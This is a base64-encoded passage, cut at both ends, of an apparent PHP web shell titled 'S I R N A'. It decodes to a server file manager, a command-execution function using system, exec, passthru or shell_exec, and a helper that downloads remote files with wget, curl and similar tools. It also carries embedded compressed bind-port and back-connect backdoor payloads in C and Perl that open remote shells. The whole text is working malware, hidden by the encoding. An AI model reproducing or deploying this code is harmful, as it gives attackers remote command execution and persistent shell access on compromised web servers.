4gIlwiIC8+IAo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNobW9kX2ZvbGRlclwiIHZhbHVlPVwiY2htb2RcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjYW5jZWxcIiB2YWx1ZT1cImNhbmNlbFwiIApvbmNsaWNrPVwidHVrYXIoJyIgLiBjbGVhcnNwYWNlKCRmb2xkZXIpIC4gIl9saW5rJywnIiAuIGNsZWFyc3BhY2UoJGZvbGRlcikgLiAiX2Zvcm0zJyk7XCIgLz48L2Zvcm0+PC9jZW50ZXI+PC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iIC4gZGF0ZSgiZC1NLVkgSDppIiwgQGZpbGVtdGltZSgkZm9sZGVyKSkgLiAiPC90ZD48dGQ+PGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIgLiBjbGVhcnNwYWNlKCRmb2xkZXIpIC4gIl9saW5rJywnIiAuIGNsZWFyc3BhY2UoJGZvbGRlcikgLiAiX2Zvcm0nKTtcIj5yZW5hbWU8L2E+fCA8YSBocmVmPVwiP3NhZD0kcHdkJmFtcDtmZGVsZXRlPSIgLiAkcHdkIC4gJGZvbGRlciAuICJcIj5kZWxldGU8L2E+CjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICB9CiAgICBmb3JlYWNoICgkZm5hbWUgYXMgJGZpbGUpIHsKICAgICAgICAkZnVsbCA9ICRwd2QgLiAkZmlsZTsKICAgICAgICBpZiAoISR3aW4gJiYgJHBvc2l4KSB7CiAgICAgICAgICAgICRuYW1lICA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlKSk7CiAgICAgICAgICAgICRncm91cCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmaWxlKSk7CiAgICAgICAgICAgICRvd25lciA9ICRuYW1lWyduYW1lJ10gLiAiPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIgLiAkZ3JvdXBbJ25hbWUnXTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkb3duZXIgPSAkdXNlcjsKICAgICAgICB9CiAgICAgICAgJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaWQ9XCIiIC4gY2xlYXJzcGFjZSgkZmlsZSkgLiAiX2xpbmtcIiBocmVmPVwiP3NhZD0kcHdkJmFtcDt2aWV3PSRmdWxsXCI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFMRXdBQUN4TUJBSnFjR0FBQUFBZDBTVTFGQjlvSkJoY1RKdjJCMmQ0QUFBSk1TVVJCVkRqTGJaTzlUaHhaRUlXL3FsdmR0TTM4Qk5nSlFtUWdKR2QrQS9NUUJMd0dqaXdIM253ZGtTTHRPMnhFUkc1THF4WFJTSVIyWURmRDRHa0dNMFAzcmI0YjlQQXowbDdwU2xXbFcwZm5uTG9sQUlQQjRQWGg0ZUZ1bnVjQUlJTHdkRVNlWnlBaWZucDYrdTlvTkxvM2dNM056VGRIUisvL3p2Sk16U3lKS0tvZGlJZzhBWGF4ZUl6MWJEWjdNeHFOZnRnU1VSRFd5N0xVblowZFlteEFGQVZFbEk2QUVDeWdJc1FRc2l6TEJPQUJBRE9qS0FwcWg3dTdHb0NVV2l3WWJldG9VSHJyUGN3Q3FvRjJLVWVYTHpFekJ2MCt1UW1TSE1FWjlGNlNaY3I2aTRJc0JPYS9iN0hRTWFIdElBd2dMZEhhbERBMWV2MGVRYlNqckVyUXdKcHFGNGVBeC9ob3FEMTMybU1rSnJpNXVTT2xGaEVocFVRSWlvandhbU9ETnNsamZVV0NxcExuT2FhQ1NLSnRuYUJDc1pZakFsbG1YSTR2YWVvYVZYMGNiU2RobVVSM3pBS3ZOalk2VmlvbzB0V3pnRW9uS2JXK0trR1d0M1VudDBDZUdmSnM5ZytVVTByRUdISC9Idy9Nakg2L1QrUE9kRm9STktDaE0yMnhtT1Blc3BqUEdRNkhwTlEyN3Q2c0FDRFNOYW55b2xqRExFZFZhRk9MZThaa1VqSzV1a3EzdDc5bFBDNy9PRGs1R2ErWTZPNU1xeW1OdzNWMXkzaHl6ZlgwaHF2Skx5YlhGZCsrZjJkM2QwZG1zK3F2ZzRPRHo4Zkh4MC9Mc2JlMzk2NHNTNys0dUVqdW5wcW1TZTZlM0QzTjUvTjBXWmJ0bHk5ZjA5bloyWi9iMjl2MmZMRWV2dks5cXY3YzJ0b0tpOFVpaVFpcUhibTZyaVc2YTEzZm4renY3MytvcW9yaGNMZ0tVRlhWUCtmbjUyK0xvbmo4SUxKMFA4WklDQ0Y5L1BUcENsaHBCdmdQZWxvTDlVNTVOSUFBQUFBQVNVVk9SSzVDWUlJPScgLz4gICRmaWxlPC9hPiAKPGZvcm0gYWN0aW9uPVwiP3NhZD0kcHdkXCIgbWV0aG9kPVwicG9zdFwiIGlkPVwiIiAuIGNsZWFyc3BhY2UoJGZpbGUpIC4gIl9mb3JtXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPiAKPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib2xkbmFtZVwiIHZhbHVlPVwiIiAuICRmaWxlIC4gIlwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiIC8+IAo8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjIwMHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5ld25hbWVcIiB2YWx1ZT1cIiIgLiAkZmlsZSAuICJcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJyZW5hbWVcIiB2YWx1ZT1cInJlbmFtZVwiIC8+IAo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciIC4gY2xlYXJzcGFjZSgkZmlsZSkgLiAiX2xpbmsnLCciIC4gY2xlYXJzcGFjZSgkZmlsZSkgLiAiX2Zvcm0nKTtcIiAvPgo8L2Zvcm0+PC90ZD48dGQ+IiAuIHVrdXJhbigkZnVsbCkgLiAiPC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iIC4gJG93bmVyIC4gIjwvdGQ+PHRkPjxjZW50ZXI+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciIC4gY2xlYXJzcGFjZSgkZmlsZSkgLiAiX2xpbmsnLCciIC4gY2xlYXJzcGFjZSgkZmlsZSkgLiAiX2Zvcm0yJyk7XCI+IiAuIGdldF9wZXJtcygkZnVsbCkgLiAiPC9hPgo8Zm9ybSBhY3Rpb249XCI/c2FkPSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiIC4gY2xlYXJzcGFjZSgkZmlsZSkgLiAiX2Zvcm0yXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPiAKPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIiAuICRmaWxlIC4gIlwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiIC8+IAo8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjIwMHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5ld3ZhbHVlXCIgdmFsdWU9XCIiIC4gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsKSksIC00KSAuICJcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjaG1vZFwiIHZhbHVlPVwiY2htb2RcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjYW5jZWxcIiB2YWx1ZT1cImNhbmNlbFwiIG9uY2xpY2s9XCJ0dWthcignIiAuIGNsZWFyc3BhY2UoJGZpbGUpIC4gIl9saW5rJywnIiAuIGNsZWFyc3BhY2UoJGZpbGUpIC4gIl9mb3JtMicpO1wiIC8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+Cjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIgLiBkYXRlKCJkLU0tWSBIOmkiLCBAZmlsZW10aW1lKCRmdWxsKSkgLiAiPC90ZD4gCjx0ZD48YSBocmVmPVwiP3NhZD0kcHdkJmFtcDtlZGl0PSRmdWxsXCI+ZWRpdDwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIiAuIGNsZWFyc3BhY2UoJGZpbGUpIC4gIl9saW5rJywnIiAuIGNsZWFyc3BhY2UoJGZpbGUpIC4gIl9mb3JtJyk7XCI+cmVuYW1lPC9hPnwgPGEgaHJlZj1cIj9zYWQ9JHB3ZCZhbXA7ZGVsZXRlPSRmdWxsXCI+ZGVsZXRlPC9hPiB8IDxhIGhyZWY9XCI/c2FkPSRwd2QmYW1wO2RsPSRmdWxsXCI+ZG93bmxvYWQ8L2E+Jm5ic3A7KDxhIGhyZWY9XCI/c2FkPSRwd2QmYW1wO2RsZ3ppcD0kZnVsbFwiPmd6PC9hPikKPC90ZD48L3RyPiI7CiAgICB9CiAgICAkYnVmZiAuPSAiPGNlbnRlcj48dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6dGVhbDsnPjx0ZCBjb2xzcGFuPSc2Jz48Y2VudGVyPkthdSBCdWF0IFNpcm5hIFN1ZGFobGFoLi4gSGFyYXBhbmt1IEhpZHVwIEJlcnNhbWFtdS4uPC9jZW50ZXI+PC90ZD48L3RhYmxlPiI7CiAgICByZXR1cm4gJGJ1ZmY7Cn0KZnVuY3Rpb24gdWt1cmFuKCRmaWxlKQp7CiAgICBpZiAoJHNpemUgPSBAZmlsZXNpemUoJGZpbGUpKSB7CiAgICAgICAgaWYgKCRzaXplIDw9IDEwMjQpCiAgICAgICAgICAgIHJldHVybiAkc2l6ZTsKICAgICAgICBlbHNlIHsKICAgICAgICAgICAgaWYgKCRzaXplIDw9IDEwMjQgKiAxMDI0KSB7CiAgICAgICAgICAgICAgICAkc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQsIDIpOwogICAgICAgICAgICAgICAgOwogICAgICAgICAgICAgICAgcmV0dXJuICIkc2l6ZSBrYiI7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgLyAxMDI0LCAyKTsKICAgICAgICAgICAgICAgIHJldHVybiAiJHNpemUgbWIiOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfSBlbHNlCiAgICAgICAgcmV0dXJuICI/Pz8iOwp9CmZ1bmN0aW9uIGV4ZSgkY21kKQp7CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgICAgIEBvYl9zdGFydCgpOwogICAgICAgIEBzeXN0ZW0oJGNtZCk7CiAgICAgICAgJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgQG9iX2VuZF9jbGVhbigpOwogICAgICAgIHJldHVybiAkYnVmZjsKICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewogICAgICAgIEBleGVjKCRjbWQsICRyZXN1bHRzKTsKICAgICAgICAkYnVmZiA9ICIiOwogICAgICAgIGZvcmVhY2ggKCRyZXN1bHRzIGFzICRyZXN1bHQpIHsKICAgICAgICAgICAgJGJ1ZmYgLj0gJHJlc3VsdDsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRidWZmOwogICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgewogICAgICAgIEBvYl9zdGFydCgpOwogICAgICAgIEBwYXNzdGhydSgkY21kKTsKICAgICAgICAkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgICAgICBAb2JfZW5kX2NsZWFuKCk7CiAgICAgICAgcmV0dXJuICRidWZmOwogICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CiAgICAgICAgJGJ1ZmYgPSBAc2hlbGxfZXhlYygkY21kKTsKICAgICAgICByZXR1cm4gJGJ1ZmY7CiAgICB9Cn0KZnVuY3Rpb24gdHVsaXMoJGZpbGUsICR0ZXh0KQp7CiAgICAkdGV4dHogPSBnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkdGV4dCkpOwogICAgaWYgKCRmaWxleiA9IEBmb3BlbigkZmlsZSwgInciKSkgewogICAgICAgIEBmcHV0cygkZmlsZXosICR0ZXh0eik7CiAgICAgICAgQGZjbG9zZSgkZmlsZSk7CiAgICB9Cn0KZnVuY3Rpb24gYW1iaWwoJGxpbmssICRmaWxlKQp7CiAgICBpZiAoJGZwID0gQGZvcGVuKCRsaW5rLCAiciIpKSB7CiAgICAgICAgd2hpbGUgKCFmZW9mKCRmcCkpIHsKICAgICAgICAgICAgJGNvbnQgLj0gQGZyZWFkKCRmcCwgMTAyNCk7CiAgICAgICAgfQogICAgICAgIEBmY2xvc2UoJGZwKTsKICAgICAgICAkZnAyID0gQGZvcGVuKCRmaWxlLCAidyIpOwogICAgICAgIEBmd3JpdGUoJGZwMiwgJGNvbnQpOwogICAgICAgIEBmY2xvc2UoJGZwMik7CiAgICB9Cn0KZnVuY3Rpb24gd2hpY2goJHByKQp7CiAgICAkcGF0aCA9IGV4ZSgid2hpY2ggJHByIik7CiAgICBpZiAoIWVtcHR5KCRwYXRoKSkgewogICAgICAgIHJldHVybiB0cmltKCRwYXRoKTsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuIHRyaW0oJHByKTsKICAgIH0KfQpmdW5jdGlvbiBkb3dubG9hZCgkY21kLCAkdXJsKQp7CiAgICAkbmFtYWZpbGUgPSBiYXNlbmFtZSgkdXJsKTsKICAgIHN3aXRjaCAoJGNtZCkgewogICAgICAgIGNhc2UgJ3d3Z2V0JzoKICAgICAgICAgICAgZXhlKHdoaWNoKCd3Z2V0JykgLiAiICIgLiAkdXJsIC4gIiAtTyAiIC4gJG5hbWFmaWxlKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnd2x5bngnOgogICAgICAgICAgICBleGUod2hpY2goJ2x5bngnKSAuICIgLXNvdXJjZSAiIC4gJHVybCAuICIgPiAiIC4gJG5hbWFmaWxlKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnd2ZyZWFkJzoKICAgICAgICAgICAgYW1iaWwoJHd1cmwsICRuYW1hZmlsZSk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3dmZXRjaCc6CiAgICAgICAgICAgIGV4ZSh3aGljaCgnZmV0Y2gnKSAuICIgLW8gIiAuICRuYW1hZmlsZSAuICIgLXAgIiAuICR1cmwpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICd3bGlua3MnOgogICAgICAgICAgICBleGUod2hpY2goJ2xpbmtzJykgLiAiIC1zb3VyY2UgIiAuICR1cmwgLiAiID4gIiAuICRuYW1hZmlsZSk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ3dnZXQnOgogICAgICAgICAgICBleGUod2hpY2goJ0dFVCcpIC4gIiAiIC4gJHVybCAuICIgPiAiIC4gJG5hbWFmaWxlKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnd2N1cmwnOgogICAgICAgICAgICBleGUod2hpY2goJ2N1cmwnKSAuICIgIiAuICR1cmwgLiAiIC1vICIgLiAkbmFtYWZpbGUpOwogICAgICAgICAgICBicmVhazsKICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICBicmVhazsKICAgIH0KICAgIHJldHVybiAkbmFtYWZpbGU7Cn0KZnVuY3Rpb24gZ2V0X3Blcm1zKCRmaWxlKQp7CiAgICBpZiAoJG1vZGUgPSBAZmlsZXBlcm1zKCRmaWxlKSkgewogICAgICAgICRwZXJtcyA9ICcnOwogICAgICAgICRwZXJtcyAuPSAoJG1vZGUgJiAwMDQwMCkgPyAncicgOiAnLSc7CiAgICAgICAgJHBlcm1zIC49ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsKICAgICAgICAkcGVybXMgLj0gKCRtb2RlICYgMDAxMDApID8gJ3gnIDogJy0nOwogICAgICAgICRwZXJtcyAuPSAoJG1vZGUgJiAwMDA0MCkgPyAncicgOiAnLSc7CiAgICAgICAgJHBlcm1zIC49ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsKICAgICAgICAkcGVybXMgLj0gKCRtb2RlICYgMDAwMTApID8gJ3gnIDogJy0nOwogICAgICAgICRwZXJtcyAuPSAoJG1vZGUgJiAwMDAwNCkgPyAncicgOiAnLSc7CiAgICAgICAgJHBlcm1zIC49ICgkbW9kZSAmIDAwMDAyKSA/ICd3JyA6ICctJzsKICAgICAgICAkcGVybXMgLj0gKCRtb2RlICYgMDAwMDEpID8gJ3gnIDogJy0nOwogICAgICAgIHJldHVybiAkcGVybXM7CiAgICB9IGVsc2UKICAgICAgICByZXR1cm4gIj8/Pz8/Pz8/Pz8iOwp9CmZ1bmN0aW9uIGNsZWFyc3BhY2UoJHRleHQpCnsKICAgIHJldHVybiBzdHJfcmVwbGFjZSgiICIsICJfIiwgJHRleHQpOwp9CiR0dW5pc2lhICAgICAgICAgPSAnJzsKJHBvcnRfYmluZF9iZF9jICA9ICJiVk5oYjlvd0VQMk94SCs0cGhJNE5JTkFOMDBhWXhKYVc2bWF4cWJTTHhOREtEaVh4aUxZa1czS0dPcC8zemxPcG83eElZNzkzanZmICtmbDhLU1F2ZGluQ1IyTlRvZnI1cDNicjhoV21oWHc2QlE5bVlBOGxtak80VVh5RDlvU1FhQVY5QXlGUENOUmErcFJDV3RnbVFySkUgUC9HSWh1ZlFnMjQ5YnJkNG5tam85UnhCcXlOQXV3V09kdm15TkFLSit5d2xCaXJoZXBjdHJ1T2xXOU1KZHR6cmtqVFZLeUZCNDFaWiBkS1RJV0tiMGhvVXdtVUFjd3RGdDYrbStFWEtWSlZ0UkhHQUMwN3ZWL2V6MmNmd3ZYU3B0aWN5dGtvWWxWZ2xYL2ZOaXVBekRFNlZMIDNUZlZydzRvMlAxc2VuUHpzSnJPZm9Samw5Y2ZoV2p2SWF0elJ2TnZuNytzNW84UHQ5T3ZVUnpXWlY5NGRRZ2xlYWcwQzN3UVZLdWcgVXEyRlRGbmpEenZ4QVhwaHg5Y1hRZnhyNlBjdGhMRW8vOGE4cThCOUxncGtRN29PZ0tNYnZOZVRoSE1zYlNPTzY5SUEwbDA1WXBYayBIRFQ4SHhyVjBGNExpelVXZkUrTTJTdWRmZ2lpWWJPTnhpU3RlYnJneUlqZnFESkcwN0FXaUF6WUJjOUxpdlUzTVZwR0ZWMngxSjRXIHR5eEFuaXZZWThIVkZzRXFXRisvZjdzQmsyTlJRS2NEQS9KdHNFNU1EbTlFVUcrTWhjRnFrcFgwSG14R2JxYmtkQlRNbGRhSFJzVUwgWmVvRGVPU0ZCdnBlZkNmWGhmbE9wZ1RrdkoranRLaVI3dkxvaFlLQ3FTMlptTVJqNFo1Z1FaZlNpTWJpNmlxa2RuSGFyRUVYWXVrNiB1UHRUZHVtc3IwSEM0cTVycnpOaWZWN3NDM1pXVW1xK0xWbFZhNU9mUWpUYW5aWVFPK1VmIjsKJHBvcnRfYmluZF9iZF9wbCA9ICJaWkpoVDhJd0VJYS9rL0FmamtsZ1MyYUErQkZtSkRCMWNXNWtIU1pHelRLMlF4cG11MndsWW9EL2JydUJJZml0ZDMzdXZYdXZ2V3IxIE5tWFJXMURXeTdISW1vMDJlYlJkMTlLcTFDSXVWM0JOdFdHelFaZWczNDJEaHhjWXdjQ0FIZUNXQ24xZ0RPRWdpMXlIaExZWHpmd2cgdE5xS2V1dC95S0pOaVVCNHNrWWhnM1plY01FVG5sbWZLS3J6NG9mRlg2aDNSWkozRFVtVUZhb1Rzek83anh6UERzME84U2RQRVFrRCBlL3hzL2drWXNOOURTaEcwU2N3RUpBWEdBcUd1Zm1kcTJoS0ZDbm11MUlqdlJrcEg2aEUvQ3V3NXNjZlRhV0FPVkU5cE01V01vdU0wIExTTEs5SE0zcHVNcE5ocDdyOFpGVzU0amc1d1h4NVlaTFFVeUtYVnp3ZFVYWitUM2ltWW9WOWRzN0pxTk9FbFFUam54UGM4a1JyVm8gdmFXM2M1cGFTMTZzalpvNnFURXVRS1UxVU8vUlNuRkpHYWFnY0ZWYmpVVENxZU9aMnFpak5MV3pyRDhQVGUzMlg5b09ndk0wYmpHQiAraGVjZk9RRmxUNFVjTFNrbUkxY2VZM1ZycEtNeTlkV1VDVkNCZlRsUVg2T3d5OD0iOwokYmFja19jb25uZWN0ICAgID0gImZaRlJTOE13RklYZkIvc1BXU3cyaFVybnF5UEMwQ3BEM0tTdHZxaDBYUnBjc0UxS2tvS0YvWGlUdENJVjZ0dTU1K1o4OXlZNVcwU3Qga3RHQjhhaWhzcHJQV2tWQktzZ24xYXY1ekNOMWlRR3NPdjRGYmFrNnBXbU5nVS9KVVFDNGIzbFJVM0JSN09GcWNGaHB0TU9wbzI4aiBTMndoVnVsQ2ZsQ052WFZ5Ly9LNmZMZFdJK1NQY2VrTVZwU2x4SXhUblJkYWNEU0VBbkE2Z1pKUkJHTXBoYndDM3VLTnc4QWhYRUtaIGphM0ltY2xZYWdoNjFuOUpLYlRBaHU3RW9iTjNRYjRtalcvYnlyMEJTbmMzRDNFV2dxZTdmTE8xd2hwNW1pWHgrdEhNY05IcEdVUncgVHNrdnBkOTIrcnhvS0VkcGRydlpoZ0Jlbi9leFVXZjNuRTIxNGlUNTIrci9DdzMvNWphcWhLTDlpRkZwdUtQYXdJTFZOdz09IjsKJGJhY2tfY29ubmVjdF9jICA9ICJYVkhiYWdJeEVIMFgvSWRoaFpMVVdGMWYxWUtJQmVsRnFmWkpsaVVtMlc3b2JpSkpMTFdsLzk0azI5cldoeUV6YytaMlRqcFNzZXJBIEJZeXQ0MUpmbGRmdFZ1YzNkN1I5cTltTGNHZUFFazU2NjBzVkFha2MxRlFxRkJ4cW5oa0JWbElEbDk1LzNXYTQzZnBvdHlDQUJSOTUgenpwellBN0NhTXE1eWFVQ0sxVkFZcHVwN1hhWVpwUEUxTkFySUJtQlJ6Z1Z0VllvSlFNY1IvalYzdktDMXJJNndnU21OL25pWWI3NSBpKzIxY1I0cG5WWVdVYWNsaXZjTU0veHZSRGpoeXNiSFZ3ZGUwVytLMHd6SDlidDNZZlJQaW5nQ2xWQ25pbTdhL1p1SkMwSlR3ZjNBIFJrRDBmUitCOVhKMm02ODNqL1BwUFlIRmF2VzQzQ3p6eld5RklmYklBaEJpV2luQkhDbzRBWFNtRmx4aXVQQjNFMC9nWGVqaUhNY1kgandjWWd1SUFlMkdNTmlqWjlqTDRHWXFUU0I5QXZFbUhHamsvbTE5aDFDR3ZQb0hJWTVBMU9oMnRFM1hJZTFieEt3NzdZVHl0NlQyRiA2Zjl3R0VQeEpsaUZrdjVPcXI0dEU1TFlFbm95SWZEd2RIY1hLMWlscmZBZFViUFBMdz09IjsKPz48aHRtbD48aGVhZD48bGluayByZWw9Imljb24iIHR5cGU9ImltYWdlL3BuZyIgaHJlZj0iaHR0cDovL2Rvd25sb2FkaWNvbnMubmV0L3NpdGVzL2RlZmF1bHQvZmlsZXMvaGVhcnRicmVhay1pY29uLTg1Nzg2LnBuZyI+PHRpdGxlPlMgSSBSIE4gQTwvdGl0bGU+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5mdW5jdGlvbiB0dWthcihiLGEpe2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKGIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKGEpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIn07PC9zY3JpcHQ+CjxsaW5rIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1Nb250c2VycmF0IiByZWw9InN0eWxlc2hlZXQiPgo8c3R5bGU+Lyo8IVtDREFUQVsqL2JvZHk6Oi13ZWJraXQtc2Nyb2xsYmFye3dpZHRoOjFlbX1ib2R5Ojotd2Via2l0LXNjcm9sbGJhci10cmFja3std2Via2l0LWJveC1zaGFkb3c6aW5zZXQgMCAwIDZweCByZ2JhKDAsMCwwLC4zKX1ib2R5Ojotd2Via2l0LXNjcm9sbGJhci10aHVtYntiYWNrZ3JvdW5kLWNvbG9yOmRhcmtncmV5O291dGxpbmU6MXB4IHNvbGlkIHNsYXRlZ3JleX0ubXlib3h7LW1vei1ib3JkZXItcmFkaXVzOjEwcHg7Ym9yZGVyLXJhZGl1czoxMHB4O2JvcmRlcjoxcHggc29saWQgIzRjODNhZjtwYWRkaW5nOjRweCAycHg7d2lkdGg6NzAlO2xpbmUtaGVpZ2h0OjI0cHh9Lm15Ym94dGJse3dpZHRoOjUwJX1ib2R5e2JhY2tncm91bmQtY29sb3I6dHJhbnNwYXJhbjtiYWNrZ3JvdW5kOiMwMDA7YmFja2dyb3VuZC1pbWFnZTp1cmwoIjw/cGhwIGVjaG8gJGJhY2tncm91bmQ7ID8+Iik7YmFja2dyb3VuZC1wb3NpdGlvbjpjZW50ZXI7YmFja2dyb3VuZC1hdHRhY2htZW50OmZpeGVkO2JhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdH1he3RleHQtZGVjb3JhdGlvbjpub25lfWhyLGE6aG92ZXJ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzRjODNhZn0qe3RleHQtc2hhZG93OjAgMCAuM2VtICM5OTk7Zm9udC1zaXplOjE0cHg7Zm9udC1mYW1pbHk6J01vbnRzZXJyYXQnLHNhbnMtc2VyaWY7Y29sb3I6PD9waHAgZWNobyAkZm9udGNvbG9yX2dsb2JhbDs/Pn0udGFibmV0e21hcmdpbjoxNXB4IGF1dG8gMCBhdXRvO2JvcmRlcjoxcHggc29saWQgIzMzM30ubWFpbnt3aWR0aDoxMDAlfS5nYXlhe2NvbG9yOiM4ODh9LnRvcHtib3JkZXItbGVmdDoxcHggc29saWQgYmxhY2s7Ym9yZGVyLVJJR0hUOjFweCBzb2xpZCAjZmZmO2ZvbnQtZmFtaWx5OnZlcmRhbmF9aW5wdXR7YmFja2dyb3VuZDojMTExO2JvcmRlcjoxO3BhZGRpbmc6MnB4O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMyMjI7Ym9yZGVyLXRvcDoxcHggc29saWQgIzIyMjtmb250LXNpemU6MTJweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7aGVpZ2h0OjIwO2JvcmRlci1sZWZ0OjFweCBzb2xpZCAjNWQ1ZDVkO2JvcmRlci1yaWdodDoxcHggc29saWQgIzEyMTIxMjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMTIxMjEyO2JvcmRlci10b3A6MXB4IHNvbGlkICM1ZDVkNWQ7Y29sb3I6IzlmOWY5Zn0uaW5wdXR6e2JhY2tncm91bmQ6IzExMTtib3JkZXI6MDtwYWRkaW5nOjJweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMzkzOTM5O2ZvbnQtc2l6ZToxMXB4O2NvbG9yOiNmZmY7LW1vei1ib3JkZXItcmFkaXVzOjZweDtib3JkZXItcmFkaXVzOjEwcHg7Ym9yZGVyOjFweCBzb2xpZCAjNGM4M2FmO21hcmdpbjo0cHggMCA4cHggMH0uaW5wdXR6YnV0e2JhY2tncm91bmQ6IzExMTtjb2xvcjojOGY4ZjhmO21hcmdpbjowIDRweDtib3JkZXI6MXB4IHNvbGlkICM0NDR9LmlucHV0emJ1dDpob3Zlcntib3JkZXItYm90dG9tOjFweCBzb2xpZCAjNGM4M2FmO2JvcmRlci10b3A6MXB4IHNvbGlkICM0YzgzYWZ9LmlucHV0ejpob3ZlcnstbW96LWJvcmRlci1yYWRpdXM6NnB4O2JvcmRlci1yYWRpdXM6MTBweDtib3JkZXI6MXB4IHNvbGlkICM0YzgzYWY7bWFyZ2luOjRweCAwIDhweCAwO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICM0YzgzYWY7Ym9yZGVyLXRvcDoxcHggc29saWQgIzRjODNhZn0ub3V0cHV0MnttYXJnaW46YXV0bztib3JkZXI6MXB4IHNvbGlkICM4ODg7YmFja2dyb3VuZDojMDAwO3BhZGRpbmc6MCAycHh9dGV4dGFyZWF7bWFyZ2luOmF1dG87Ym9yZGVyOjJweCBzb2xpZCAjNTU1O2JhY2tncm91bmQ6IzAwMDtwYWRkaW5nOjAgMn